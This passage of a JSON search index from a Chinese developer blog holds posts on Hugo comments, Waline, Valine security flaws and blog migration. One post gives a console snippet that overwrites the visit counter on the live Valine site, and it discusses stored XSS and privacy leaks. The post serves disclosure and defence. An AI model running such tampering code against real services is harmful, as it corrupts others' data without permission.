$cmt.insertedAt \u0026#34;2006-01-02 03:04:05\u0026#34;}}\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;vat\u0026#34;\u0026gt;回复\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;vcontent\u0026#34; data-expand=\u0026#34;查看更多...\u0026#34;\u0026gt; {{$cmt.comment | safeHTML}} \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;vreply-wrapper\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; {{end}} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; {{end}} \u0026lt;/div\u0026gt; 🍳 构建触发 Waline 在评论发布、更新和删除阶段都支持自定义钩子，在钩子中触发 Vercel 的构建钩子即可完成发布评论重新构建的流程。\n按照如下内容修改服务端部署的 index.js 文件，查看文档了解全部的 Waline 钩子。\nconst Waline = require(\u0026#39;@waline/vercel\u0026#39;); const https = require(\u0026#39;https\u0026#39;); const buildTrigger = _ =\u0026gt; https.get(\u0026#39;https://api.vercel.com/v1/integrations/deploy/xxxxx\u0026#39;); module.exports = Waline({ async postSave(comment) { if(comment.status !== \u0026#39;approved\u0026#39;) { return; } buildTrigger(); }, async postUpdate() { buildTrigger(); }, async postDelete() { buildTrigger(); } }); 🍾 后记 通过以上操作，就能在不损失用户体验的情况下实现评论数据的动态支持了。有些人可能会担心是否会在构建阶段造成超多的接口请求。这里大可不用担心，Hugo 自己会在构建的时候做接口的缓存，同 URL 的接口调用会走缓存数据而不会重新调用。\n除了用户体验之外，由于只会在构建的时候触发数据的获取，针对有调用次数配额的第三方评论服务也能节省额度。当然，理论上构建次数是远小于访问次数的，所以额度节省的结论是能成立的。如果说你的构建次数要比访问次数还要大的话，那这种方法就无法节省额度了。\n当然这种方式也会有带来些问题，主要是评论的更新没那么快。好在 Hugo 的构建速度非常快，一两分钟的时间也能接受。而针对用户评论的发布，则可以通过评论发布后先假插入缓解该问题。\n","count":1790,"date":"2020年12月27日","featuredImage":"https://imnerd.org/assets/migration/p2.ssl.qhimg.com/t01ba48596541443b44.png","permalink":"https://imnerd.org/hugo-ssr-comment.html","summary":"\u003ch2 id=\"-前言\"\u003e🌏 前言\u003c/h2\u003e\n\u003cp\u003e我们知道，静态博客由于不带有动态功能，所以针对评论这种动态需求比较大众的做法就是使用第三方评论系统。第三方评论的本质其实就是使用 JS 去调取第三方服务接口获取评论后动态渲染到页面中。虽然它很好的解决了这个问题，但是由于需要请求接口，在体验上远比动态博客的直出效果要差很多。所以当我把博客从动态博客 Typecho 迁移到静态博客 Hugo 上来时，就一直在思考这个问题。直到我看到了 Hugo 的 \u003ccode\u003egetJSON\u003c/code\u003e 方法，发现原来静态博客也是能够像动态博客一样直出评论的。\u003c/p\u003e","time":4,"title":"静态博客如何高性能插入评论"},{"comments":{"data":[65],"errmsg":"","errno":0},"contents":"今日，有多位同学反馈说我在他们的网站上大量发送垃圾评论。本人特此声明，该事情绝非本人所为。由于反馈过来的同学都是使用 Valine 评论系统，该评论系统是支持匿名和自定义信息评论的。我的个人信息基本是公开的，所以冒用我的身份进行垃圾评论发布是非常容易的。就我个人而言，没有时间也没有必要去做这种事情，希望各位投诉的同学保持理智。\n同时我也在此告诫始作俑者，你的行为已经不仅给我本人甚至给广大博主造成了非常恶劣的影响。不管你是处于什么目的，请立即停止你无聊的行为。如果是觉得 Waline 这个项目好，那就欢迎进行 Star，如果觉得项目不好，那也请直接评论抨击我即可。你现在的行为只能显示你的无聊与幼稚。\n鉴于反馈过来的用户都是 Valine 用户，个人建议使用大家可以安装 Valine-Admin 或者使用本人之前开发的 Waline 评论系统，这两个都能基于 Valine 快速的增加 Akismet 垃圾评论过滤的功能，对垃圾评论的过滤有一定的效果。\n另外就是可以将垃圾评论的数据在该文章的评论中提供一下，看看 IP 和邮箱之类的能否有手段排查一下。目前投诉过来的同学因为都已经删除了评论了，所以我也没办法再追查下去。\n**更新：**通过邮件通知有看到几条垃圾评论，发现 IP 和 UA 等要么未提供要么就是伪造的，无法对其进行溯源查找。\n另外介于是最近才出现的事情，而且反馈过来的同学都是 Valine 的用户。有理由怀疑是因为我写了《基于 Serverless 的 Valine 可能并没有那么香》 这篇文章之后被人利用了。而且目前 LeanCloud 的服务似乎都跪了，估计大量的垃圾评论写入也有一定的原因。\n","count":604,"date":"2020年11月24日","featuredImage":null,"permalink":"https://imnerd.org/spam-statement.html","summary":"\u003cp\u003e今日，有多位同学反馈说我在他们的网站上大量发送垃圾评论。本人特此声明，该事情绝非本人所为。由于反馈过来的同学都是使用 Valine 评论系统，该评论系统是支持匿名和自定义信息评论的。我的个人信息基本是公开的，所以冒用我的身份进行垃圾评论发布是非常容易的。就我个人而言，没有时间也没有必要去做这种事情，希望各位投诉的同学保持理智。\u003c/p\u003e","time":2,"title":"关于被人恶意冒用身份发送垃圾评论的声明"},{"comments":{"data":[26],"errmsg":"","errno":0},"contents":" 声明：《关于被人恶意冒用身份发送垃圾评论的声明》\nValine 是一款样式精美，部署简单的评论系统， 第一次接触便被它精美的样式，无服务端的特性给吸引了。它最大的特色是基于 LeanCloud 直接在前端进行数据库操作而无需服务端，极大的缩减了部署流程，仅需要在静态页引入 Valine SDK 即可。\n👨‍💻‍ 初识 Valine 以下是 Valine 官网提供的快速部署脚本，其中 appId 和 appKey 是你在 LeanCloud 上创建应用后对应的应用密钥。也正是基于这对密钥，Valine 在内部调用了 LeanCloud SDK 进行数据的获取，最终将数据渲染在 #vcomments 这个 DOM 上。这便是 Valine 的大概原理。\n\u0026lt;head\u0026gt; .. \u0026lt;script src=\u0026#39;//unpkg.com/valine/dist/Valine.min.js\u0026#39;\u0026gt;\u0026lt;/script\u0026gt; ... \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; ... \u0026lt;div id=\u0026#34;vcomments\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; new Valine({ el: \u0026#39;#vcomments\u0026#39;, appId: \u0026#39;Your appId\u0026#39;, appKey: \u0026#39;Your appKey\u0026#39; }) \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; 有同学可能会有疑问了，appId 和 appKey 都直接写在前端了，那岂不是谁都可以修改数据了？这就需要牵扯到 LeanCloud 的数据安全问题了，官方专门写了篇文档《数据和安全》 来说明这个问题。简单的理解就是针对数据设置用户的读写权限，确保正确的人对数据有且仅有正确的权限来保证数据的安全。\n乍听一下，保证用户数据只读的话，感觉还是挺安全的。可事实真的如此么，让我们继续来看看。\n🙅‍♂️ Valine 的问题 📖 阅读统计篡改 Valien 1.2.0 增加了文章阅读统计的功能，用户访问页面就会在后台 Counter 表中根据 url 记录访问次数。由于每次访问页面都需要更新数据，所以在权限上必须设置成可写，才能进行后续的字段更新。这样就造成了一个问题，实际上该条数据是可以被更新成任意值的。感兴趣的同学可以打开 https://valine.js.org/visitor.html 官网页面后进入控制台输入以下代码试试。试完了记得把数改回去哈~\nconst counter = new AV.Query(\u0026#39;Counter\u0026#39;); const resp = await counter.equalTo(\u0026#39;url\u0026#39;, \u0026#39;/visitor.html\u0026#39;).find(); resp[0].set(\u0026#39;time\u0026#39;, -100001).save(); location.reload(); 可以看到该页面的访问统计被设置成了 -100000 了。这个问题唯一值得庆幸的是 time 字段的值是 Number 类型的，其它的值都无法插入。如果是字符串类型的话就是一个 XSS 漏洞了。\n该问题有一个解决办法，就是不使用次数累加的存储方式。更改为每次访问都存储一条只读的访问记录，读取的时候使用 count() 方法进行统计。这样所有数据都是只读的，就不存在篡改的问题了。这种解决方案唯一的问题就是数据量会比较大，对查询会造成一定压力。当然如果是在基于原数据不变的情况下，只能是增加一层服务端来做修改权限的隔离了。\n🧯 XSS 安全 从很早的版本开始就有用户报告了 Valine 的 XSS 问题，社区也在使用各种方法在修复这些问题。包括增加验证码，前端XSS过滤等方式。不过后来作者才明白，前端的一切验证都只能防君子，所以把验证码之类的限制去除了。\n现有的逻辑里，前端发布评论的时候会将 Markdown 转换成 HTML 然后走一下前端的一个 XSS 过滤方法最后提交到 LeanCloud 中。从 LeanCloud 中拿到数据之后因为是 HTML 直接插入进行显示即可。很明显，这个流程是存在问题的。只要直接提交的是 HTML 而且拿到 HTML 之后直接进行展示的话，XSS 从根本上是无法根除的。\n那有没有根本的解决办法？其实是有的。针对存储型的 XSS 攻击，我们可以使用转义编码进行解决。只要效仿早前 BBCode 的做法，提交到数据库的是 Markdown 内容。前端读取到内容对所有 HTML 进行编码后再进行 Markdown 转换后展示。\nfunction encodeForHTML(str){ return (\u0026#39;\u0026#39; + str) .replace(/\u0026amp;/g, \u0026#39;\u0026amp;amp;\u0026#39;) .replace(/\u0026lt;/g, \u0026#39;\u0026amp;lt;\u0026#39;) .replace(/\u0026gt;/g, \u0026#39;\u0026amp;gt;\u0026#39;) .replace(/\u0026#34;/g, \u0026#39;\u0026amp;quot;\u0026#39;) .replace(/\u0026#39;/g, \u0026#39;\u0026amp;#x27;\u0026#39;) .replace(/\\//g, \u0026#39;\u0026amp;#x2F;\u0026#39;); }; 由于 Serverless 攻击者是可以直达存储阶段，所以数据存储之前的一切防范是无效的，只能在读取展示过程处理。由于所有的 HTML 转义后无法解析，Markdown 相当于我们根据自定义的语法解析成 HTML，保证转换后的 HTML 没有被插入的机会。\n不过这个方法存在一个问题，那就是对老数据存在不兼容。因为这相当于修改了存储和展示的规则，而之前一直存储的都是 HTML 内容，修复后之前的数据将无法展示 HTML 样式。而为了能在存储的还是 HTML 情况下规避 XSS 安全问题，唯一的办法就是增加服务端中间层。存储阶段增加一道阀门，将转义阶段提前至存储阶段，保证新老数据的通用。\n🖼 隐私泄露 说完了存储的问题，我们再来看看读取的问题。攻击者除了可以直达存储，也可以直达读取，当一个数据库的字段开放了读取权限后，相当于该字段的内容对攻击者是透明的。\n在评论数据中，有两个字段是用户比较敏感的数据，分别是 IP 和邮箱。灯大甚至专门写了一篇文章来批判该问题 《请马上停止使用Valine.js评论系统，除非它修复了用户隐私泄露问题》。甚至掘金社区在早期使用 LeanCloud 的时候也暴出过泄露用户手机号的安全问题。\n为了规避这个问题，Valine 作者增加了 recordIP 配置用来设置是否允许记录用户 IP。由于是 Serverless，目前能想到的也只是不存储的方式解决了。不过该配置项会存在一个问题，就是该配置项的配置权在网站，隐私的问题是评论者遇到的，也就是说评论者是无权管理自己的隐私的。\n除了这个矛盾点之外，还有就是邮箱的问题。邮箱本质上只需要返回 md5 用来获取 Gravatar 头像即可。但是由于无服务端的限制，只能返回原始内容由前端计算。而邮箱我们又需要获取到原始值，方便做评论回复邮件通知功能。所以我们也不能不存储，或者存储 md5 后的值。\n该问题的解决方案只能是增加一层服务端，通过服务端过滤敏感信息解决这个问题。\n🎊 Waline！ 基于以上原因，我们发现只有增加一层服务端中间层才能很好的解决 Valine 的安全问题，所以 Waline 横空出世了！Waline 与 Valine 最大的不同就是增加了服务端中间层，解决 Valine 暴露出来的安全问题。同时基于服务端的特性，提供了邮件通知、微信通知、评论后台管理、LeanCloud, MySQL, MongoDB, SQLite, PostgreSQL 多存储服务支持等诸多特性。不仅如此，Waline 默认使用 Vercel 部署，实现完全免费部署！\nWaline 最初的目标仅仅是为 Valine 增加上服务端中间层。但是由于作者不知为何从 1.4.0 版本开始只推送编译后的文件到 Github 仓库中，源文件停止更新。导致我只能连带前端也实现一遍。当然前端的很多代码和逻辑为了和 Valine 的配置保持一致都有参考 Valine，甚至在名字上，我也是从 Valine 上衍生的，让大家能明白这个项目是 Valine 的衍生版。\n📔 后记 Serverless 的概念火了非常多年，但技术没有银弹，我们在看到它的优点的同时，也要正视它所带来的问题。而 Serverless 自己可能也意识到了这个问题，从早期的无服务端慢慢转向了无服务器，更偏向 BaaS 了。不过由于 Valine 没有开放源代码，所以上面说的一些问题和解决方法只能等待作者自己发现这件事了。\n","count":2355,"date":"2020年11月14日","featuredImage":"https://imnerd.org/assets/migration/p1.ssl.qhimg.com/t01cb9b9aa72d74496d.png","permalink":"https://imnerd.org/valine-may-not-so-good.html","summary":"\u003cblockquote\u003e\n\u003cp\u003e声明：\u003ca href=\"/spam-statement.html\"\u003e《关于被人恶意冒用身份发送垃圾评论的声明》\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"https://valine.js.org\"\u003eValine\u003c/a\u003e 是一款样式精美，部署简单的评论系统， 第一次接触便被它精美的样式，无服务端的特性给吸引了。它最大的特色是基于 \u003ca href=\"https://leancloud.app\"\u003eLeanCloud\u003c/a\u003e 直接在前端进行数据库操作而无需服务端，极大的缩减了部署流程，仅需要在静态页引入 Valine SDK 即可。\u003c/p\u003e","time":5,"title":"基于 Serverless 的 Valine 可能并没有那么香"},{"comments":{"data":[8],"errmsg":"","errno":0},"contents":"之前写了篇文章《博客迁移至 Hugo》，提了下使用 Typecho 多年后越发感受到运维的成本之高后，将博客迁移到了静态博客程序 Hugo 下。使用 Vercel + Github 可以免费搭建高性能博客，绑定域名还能自动帮忙创建 SSL 证书。当然偷懒的话也可以直接使用默认分配的二级域名。\n搭建 点击上面的按钮快速抵达创建页面，未登录的会需要登录，这块直接使用 Github 登录即可。登录后第一步会让你选择 Vercel 账号，这里直接选择 Personal Account 即可。之后会让你输入仓库名称，Vercel 会自动帮你创建并初始化该仓库。如果你的仓库不想让其它人看的话，这里可以勾选 Private Git Repository 创建私有仓库。\n下一步这块会让你输入 Vercel 中项目的名称和一些配置。这里需要注意一下，官方提供的默认 Hugo 编译命令会把草稿文章也生成出来。需要在 BUILD COMMAND 那打开 OVERRIDE 按钮后输入 hugo --gc 进行覆盖。\n稍等片刻之后，你就可以看到飘着满屏的彩带庆祝你创建博客成功叻！点击 Visit 按钮你就可以看到你的博客的样子了。\n由于是静态博客，你所有的文章都会存储在你刚才新建的仓库中。你可以选择将仓库下来修改后提交，也可以利用 Github 的在线编辑功能在线修改提交。提交之后 Vercel 会自动触发更新，重新构建并更新你的博客。\n配置 默认每次提交 Vercel 构建完成之后都会把构建后的地址评论在你的 Github 提交下。你可以通过设置关闭该功能。另外默认 Vercel 指定的 Hugo 版本比较老了，在 Markdown 编译过程中会发生一些异常的行为。我们可以通过配置指定最新的 Hugo 版本进行编译。在项目根目录下新建 vercel.json 文件，并加入以下内容。\n{ \u0026#34;github\u0026#34;: { \u0026#34;silent\u0026#34;: true }, \u0026#34;build\u0026#34;: { \u0026#34;env\u0026#34;: { \u0026#34;HUGO_VERSION\u0026#34;: \u0026#34;0.78.1\u0026#34; } } } Hugo 博客本身的配置都在 config.toml 下。默认情况下 Hugo 生成的 URL 都是 /posts/hello-world/ 这种格式，不过之前做动态博客为了做伪静态，一般都将路由设置成了 /hello-world.html 这种格式。这种时候就需要在 config.toml 中增加 uglyurls 配置。\nuglyurls = true [permalinks] posts = \u0026#34;:slug\u0026#34; 后面的 permalinks 配置主要是用来去除文章的 /posts 前缀的。除此之外，默认的配置文章中的 HTML 是会被转义的，对于我这种偶尔会在 Markdown 中写 HTML 的人来说操作有点多余。这时候可以在配置中定义它不转义。\n[markup.goldmark.renderer] unsafe= true 域名 使用 Vercel 搭建的网站，它会默认提供一个 *.vercel.app 的二级域名，你可以直接使用这个域名访问网站。如果你想要绑定自己的域名，也可以在后台设置。进入网站后选择自己的项目，选择 Settings - Domains 进入域名配置界面，在输入框中添加自己的域名。它会提示你需要给域名增加 A 记录或者是 CNAME 解析。按照提示添加后后台会自动检测是否生效。\n生效的时间视 DNS 服务器的生效时间而定，我这边使用 DNSPod 还挺快的，大概 30 秒之内就生效了。生效后 Vercel 会自动帮我们申请配置 SSL 证书，我们全然不用操心证书的问题。等待片刻之后我们就能直接使用新域名进行访问了。\n图片 默认所有的静态资源都放在 static/ 目录下。你可以将图片放在该目录下，例如 static/hello-world.jpg。在文章中则直接使用 /hello-world.jpg 地址引用即可。\n由于 Github 仅有单文件小于 100M 的限制，Vercel 会将所有的资源部署到自己服务器上。所以使用仓库存储的方式会非常方便和安全，而且还不损失速度。唯一美中不足的是，由于是 HTTP 路径，在本地编写文章的时候会不方便。如果是使用 Typora 的话可以点击标签栏 格式 - 图像 - 设置图片根目录 将目录指定到 static/ 目录解决。VSCode 的话暂时没有倒腾出来。\n其实比较好的方案是建议大家创建一个文件夹，将该篇文章和它所用到的图片都归置到一块。使用类似组件化的思路管理内容，会更加方便后续的修改。\n除了使用本地存储之外，你也可以选择使用第三方的存储服务。免费服务的话可以试试 又拍云 提供的联盟计划，按照要求申请下即可。其他家的存储服务要么免费时间有限，要么有部分收费功能。第三方存储的好处在于带有 CDN 加速，在速度上会很方便。但目前 Vercel 的速度我觉得还挺不错的，所以最终还是选择了直接存仓库。\n评论 使用静态博客之后，评论则只能选择第三方评论系统了。鉴于国情，国内的第三方评论服务都已名存实亡。目前比较知名的 Disqus , HyperComments 以及 来必力 都是国外的服务。HyperComments 是付费的服务就不多做讨论，Disqus 是老牌服务，提供了强大的 API 对开发者较为友好。来必力则是对国内用户友好，集成了很多国内的社交账号登录。\n除了专门提供评论的第三方服务之外，也有一部分是选择自建评论服务。其中比较知名的是 Valine 和 Gitalk 以及 Staticman，isso。Staticman 提供了强大的 API 但是缺少界面，isso 则是需要服务器部署，偏离了我使用静态博客的初衷就是不想维护服务器的目的，所以这两者都不多做讨论。Gitalk 是使用 Github issue 进行评论数据存储的评论脚本，适合纯技术博客和极客使用。Valine 则是基于LeanCloud Serverless 云存储进行评论数据存储的评论脚本，同时它还带有漂亮的外观，适合各类人群使用。\n博客站点上与评论相关的地方一般有三个地方：\n首页显示最近评论 文章下显示当前文章评论数 文章底部显示该文章的评论列表以及输入框 最开始我选择了 Disqus 作为本站的评论系统。但是它有个问题国内正常无法访问。后来我发现 Hugo 的模板中是可以使用 getJSON 方法调取接口的。而 Vercel 的机器本身就在海外，那我实际上可以在博客编译阶段就获取到输入写到页面中。最近评论和评论数的显示还是比较简单的，而评论列表的显示则需要折腾一下了。不过 Disqus API 的使用频率是 1000 次/小时，当短时间部署频繁的话可能会有超过的风险。而且发布评论的接口没办法走该逻辑，还是需要一个代理服务。\n最终让我决定不使用 Disqus 的原因是它的评论没办法让评论者输入网站地址，评论列表中的评论者昵称点击也无法跳转到用户输入的网站中。这对于有着大量的老式评论数据的我来说是不太能接受的。所以基于这些种种原因，我最后又将评论迁移到了 Valine 下。\n我对 Valine 的主要问题在于两点：\n早前使用 Valine 的时候发现了大量的 XSS 漏洞 荒野无灯大大反馈的“泄露用户隐私问题” 以上两个是非常重要的安全问题，不过我看 XSS 的问题作者已经修复，实际上对用户输入的所有 HTML 内容进行转义可以规避该问题。而灯大反馈的 IP 泄露的问题，作者也通过不记录 IP 来规避该问题。这两个问题造成的原因其实还是因为 Serverless 。因为我想直接在编译的时候将相关数据静态化，所以我势必是需要增加一个服务端来帮我进行接口的封装，最后也能规避这些问题。\n不过 Valine 不知因为什么原因不开放源码，只在 Github 提供编译后代码，这点除了让我比较无语之外，改造工作也比较慢。本来我只需要将它 UI 中调用 LeanCloud API 的逻辑替换成我的接口逻辑即可。但是因为没有源码，只能自己重新制作 UI 了。\n更新：基于 Valine 衍生的带后端评论系统已经完成 https://github.com/lizheming/waline 已切换至该评论系统。2020/11/08\n搜索 缺少服务端之后，静态博客的搜索功能也无法自己完成。目前比较知名的是第三方搜索服务 Agolia，提供了免费的文章索引和搜索的功能。除了使用第三方服务之外，还发现有一种比较简单的做法就是将所有数据生成到一个文件中，前端下载该文件进行搜索结果展示。这里头比较知名的是 fuse，它是一个 JS 模块，将输入传入之后它能帮我们快速的匹配到命中结果。\n目前本站使用的是后一种方法，该方法的优点是不依赖第三方服务，自己就能完成搜索功能。缺点是第一次搜索的时候需要下载完整的数据，对文章比较多的网站用户鸭梨会比较大。使用第二种方法第一步是需要先创建全量的数据索引，通过以下配置告知 Hugo 编译时创建 index.json 索引文件。\n[outputs] home = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;, \u0026#34;JSON\u0026#34;] 当然我们还需要为新的数据编写生成的模板文件，在 layouts/ 下增加 index.json 文件，并加入以下内容：\n{{- $.Scratch.Add \u0026#34;index\u0026#34; slice -}} {{- range .Site.RegularPages -}} {{- $.Scratch.Add \u0026#34;index\u0026#34; (dict \u0026#34;title\u0026#34; .Title \u0026#34;contents\u0026#34; .Plain \u0026#34;summary\u0026#34; .Summary \u0026#34;permalink\u0026#34; .Permalink \u0026#34;date\u0026#34; (.Date.Format \u0026#34;2006年01月02日\u0026#34;)) -}} {{- end -}} {{- $.Scratch.Get \u0026#34;index\u0026#34; | jsonify -}} 其中 dict后的字典可以添加多个字段，视你 JS 渲染脚本中需要的字段而定。完成这些之后 Hugo 编译就会生成 index.json 文件了。\n最后我们需要增加一个搜索页面，该页面会先加载 index.json 然后使用 fuse 进行数据查找，最后渲染成 HTML 输出搜索结果。具体的代码可以直接查看源码 https://imnerd.org/search.html?q=hugo 参考本站的搜索页。\n//以下为示例代码 let fuse; async function search(text) { if(!fuse) { const indexData = await fetch(\u0026#39;/index.json\u0026#39;, {method: \u0026#39;GET\u0026#39;}).then(resp =\u0026gt; resp.json()); fuse = new Fuse(indexData, {...}); } const result = fuse.search(text); renderHTML(result, \u0026#39;#app\u0026#39;); } 其它 Hugo 静态博客能提供给我们发挥的空间非常多，比如说我参考 屈屈的博客 增加了一个博客文章发布 \u0026gt;180 天的话，就在文章详情页黄条提醒：\n提醒：本文最后更新于 313 天前，文中所描述的信息可能已发生改变，请谨慎使用。\n正常来说由于我没有服务端，所以只能使用前端来计算当前时间与发布时间的时间差。但其实转念一想，编译时也是可以拿到时间差的，只是这个时间差无法随着时间的变化而变化。不过我只要每天编译一次，就能解决变化的问题了。在 Vercel 项目 Settings - Git - Deploy Hooks 中你可以输入 Hook 名称和触发分支创建一个 Hook URL。只要访问该 URL 就可以触发 Vercel 更新博客。\n{{ if eq .Type \u0026#34;posts\u0026#34; -}} {{ $ageDays := div (sub now.Unix .Date.Unix) 86400 }} {{ if gt $ageDays 180 }} \u0026lt;p class=\u0026#34;expired-tips\u0026#34;\u0026gt; 提醒：本文最后更新于\u0026amp;nbsp;{{$ageDays}}\u0026amp;nbsp;天前，文中所描述的信息可能已发生改变，请谨慎使用。\u0026lt;/p\u0026gt; {{ end }} {{ end }} 而在 Vercel 的 Marketplace 中，有一个 EasyCron 的服务提供了定时任务的功能。我在上面设置了每天零点访问 Hook URL 触发博客更新，就这样解决每天需要更新时间的问题。\n另外屈屈博客中的“查看本文Markdown版本”也是个不错的功能，在 Hugo 中也可以实现，本质是在编译的时候顺便生成一份 .md 的 Markdown 文件即可。\n首先我们需要在 layouts/ 下增加 single.md 文件，表示的是当文章页（Single）需要导出 .md 的数据的时候使用该模板。模板内容不用填写，为空即可。然后在 config.toml 中新增 .md 文件类型，并告知 Hugo 文章需要增加编译 Markdown 文件类型。\n[mediaTypes] [mediaTypes.\u0026#34;text/plain\u0026#34;] suffixes = [\u0026#34;md\u0026#34;] [outputFormats.MarkDown] mediaType = \u0026#34;text/plain\u0026#34; isPlainText = true isHTML = false [outputs] page = [\u0026#34;HTML\u0026#34;, \u0026#34;MarkDown\u0026#34;] ","count":3707,"date":"2020年11月04日","featuredImage":"https://imnerd.org/assets/migration/p2.ssl.qhimg.com/t013d5132596de74ff5.png","permalink":"https://imnerd.org/hugo-start.html","summary":"\u003cp\u003e之前写了篇文章\u003ca href=\"https://imnerd.org/blog-migrate-to-hugo.html\"\u003e《博客迁移至 Hugo》\u003c/a\u003e，提了下使用 Typecho 多年后越发感受到运维的成本之高后，将博客迁移到了静态博客程序 Hugo 下。使用 \u003ca href=\"https://vercel.com\"\u003eVercel\u003c/a\u003e + \u003ca href=\"https://github.com\"\u003eGithub\u003c/a\u003e 可以免费搭建高性能博客，绑定域名还能自动帮忙创建 SSL 证书。当然偷懒的话也可以直接使用默认分配的二级域名。\u003c/p\u003e","time":8,"title":"Hugo 之旅"},{"comments":{"data":[3],"errmsg":"","errno":0},"contents":"前几天我为了降低成本把博客迁移到了 Hugo，具体可见《博客迁移至 Hugo》。文章我基于前人的脚本自制了 Export2Hugo 插件进行导出，但是发现评论居然没有相关的同学折腾过。大部分都是使用了 ByeTyp 和 TypExport 插件将数据导出成 WordPress ，然后再通过 Disqus 桥接到 Valine，非常的麻烦。\nValine 使用的 LeanCloud 存储服务是支持文件导入的，于是我写了个 Node.js 脚本将 Typecho 数据导出成了支持导入的文件格式完成了导入。基于该脚本的逻辑我将其转成了 Typecho 插件 Export2Valine 方便大家迁移。\n插件使用非常简单，启用插件后在左上角 控制台 菜单中会新增 评论导出 选项。点击后直接点击导出 LeanCloud JSON 文件按钮稍等片刻就可以拿到导出的 JSON 文件了。\n在 Leancloud 后台新建应用后，选择 存储-导入导出-数据导入。Class 名称输入Comment，数据文件选择刚才导出的 JSON 文件。点击导入按钮即可等待导入成功。导入的时间会随着评论数的增加而增加，如果评论数比较多的请耐心等待提示。\n这里需要注意两点：\nLeanCloud 应用中如果已经存在了 Comment 表的话需要删除，否则数据不会导入。\n插件导出的评论对应的文章 URL 格式为 /{slug}.html，为了能让文章和评论数据正确映射，需要将你的文章设置成对应的格式才能正确显示评论。以 Hugo 为例，在 config.toml 中需要配置：\nuglyurls = true [permalinks] posts = \u0026#34;:slug\u0026#34; 下载地址：Github\n","count":507,"date":"2020年11月01日","featuredImage":"https://imnerd.org/assets/migration/p5.ssl.qhimg.com/t014f0dae14a2093ed0.png","permalink":"https://imnerd.org/typecho-plugin-comment-migirate-to-valine.html","summary":"\u003cp\u003e前几天我为了降低成本把博客迁移到了 Hugo，具体可见\u003ca href=\"/blog-migrate-to-hugo.html\"\u003e《博客迁移至 Hugo》\u003c/a\u003e。文章我基于前人的脚本自制了 \u003ca href=\"/typecho-plugin-for-hugo-migration.html\"\u003eExport2Hugo\u003c/a\u003e 插件进行导出，但是发现评论居然没有相关的同学折腾过。大部分都是使用了 \u003ca href=\"https://github.com/sunxiyuan/ByeTyp\"\u003eByeTyp\u003c/a\u003e 和 \u003ca href=\"https://github.com/panxianhai/TypExport\"\u003eTypExport\u003c/a\u003e 插件将数据导出成 WordPress ，然后再通过 Disqus 桥接到 Valine，非常的麻烦。\u003c/p\u003e","time":2,"title":"Typecho 评论导出至 Valine 插件"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":"前几天我为了降低成本把博客迁移到了 Hugo，具体可见《博客迁移至 Hugo》。在迁移的过程中找到了 @eallion 的这篇文章《Typecho 迁移到 Hugo》 ，里面使用一个 PHP 脚本将数据导出成 Markdown 文件存储到本地。当时使用了下发现有这么一些不足的地方：\n因为不是插件，所以需要人工编辑配置数据库信息 脚本会把所有的 Markdown 文件生成在 Typecho 根目录下 会导出一些附件信息等额外的文件 所以为了让导出更加方便，我参考了 panxiahai/TypExport 该插件将之前的脚本整理成了插件 Export2Hugo。插件会直接将文件按照 Hugo 的格式存储后以 ZIP 压缩文件的形式下载到本地。\n使用方法很简单，启用插件后在左上角 控制台 菜单中会新增 导出至Hugo 选项。点击后直接点击开始导出！按钮稍等片刻就可以拿到导出的 ZIP 文件了。\n需要注意 Mac 下可能双击无法打开该压缩文件，可以在终端试试使用 unzip 命令进行解压。\n下载地址：Github\n","count":360,"date":"2020年11月01日","featuredImage":"https://imnerd.org/assets/migration/p2.ssl.qhimg.com/t013d5132596de74ff5.png","permalink":"https://imnerd.org/typecho-plugin-for-hugo-migration.html","summary":"\u003cp\u003e前几天我为了降低成本把博客迁移到了 Hugo，具体可见\u003ca href=\"/blog-migrate-to-hugo.html\"\u003e《博客迁移至 Hugo》\u003c/a\u003e。在迁移的过程中找到了 \u003ca href=\"https://eallion.com\"\u003e@eallion\u003c/a\u003e 的这篇文章\u003ca href=\"https://eallion.com/typecho-to-hugo/\"\u003e《Typecho 迁移到 Hugo》\u003c/a\u003e ，里面使用一个 PHP 脚本将数据导出成 Markdown 文件存储到本地。当时使用了下发现有这么一些不足的地方：\u003c/p\u003e","time":1,"title":"Typecho 迁移至 Hugo 插件"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":"我的博客从09年开始到现在已经度过了十一个年头，虽然更新的频率变慢了，但也还是一直在坚持输出力求能够帮助到大家。本站最早使用过 ASP 的 PJBlog 到之后大名鼎鼎的 WordPress，之后在 2011年 的时候迁到了 Typecho 一直到现在。\n因为多年的数据和主题修改沉淀，我一直懒得更换程序，甚至是自己开发的 Node.js 博客系统 Firekylin 也没有激发我把主站迁移过去。不过随着网络环境的不稳定性，我也在慢慢寻找一些比较靠谱的备份和快速迁移的方式来降低博客的运维成本。\n数据库和Docker 现在最方便的部署方式就是容器了，所以我第一个想到的就是将博客容器化。因为 Typecho 可能会有图片上传等用户数据产生，所以比较合理的镜像方式是为 Typecho 程序制作镜像，同时将用户数据挂载到本地。\n数据库则选择购买了阿里云专门的数据库服务，降低数据库这块的人工维护成本。这样维护的成本就变成了只要定时备份用户上传文件即可。但是随之又带来了新的问题。\n数据库服务贵不好用 首当其冲的就是数据库服务的成本问题，最低配版套餐都要好几百，基本等同于一台主机的价钱。人工运维成本是降低了，但是金钱运维成本直接加倍！而且跨主机商只能使用外网连接，虽然都是同地区服务，但是连接意外的慢。导致主站打开需要好几秒，大大降低了用户体验。\n机器性能要求高 然后容器对机器的性能也有一定要求。我一直在使用 1核2G 的低配机器维护着我的网站。由于我维护的站点比较多，使用上容器之后发现机器扛不住。换成了 2核4G 之后好一点了，但是金钱运维成本再次加倍！\n镜像构建困难 最后其实是容器构建这块的成本。因为手上很多的老站都是使用 PHP 开发的，之前只是单纯的用这些程序。现在为了制作镜像，需要去看程序的基础依赖。\n另外还有一些老程序是破解版的，不太适合放 Docker Hub 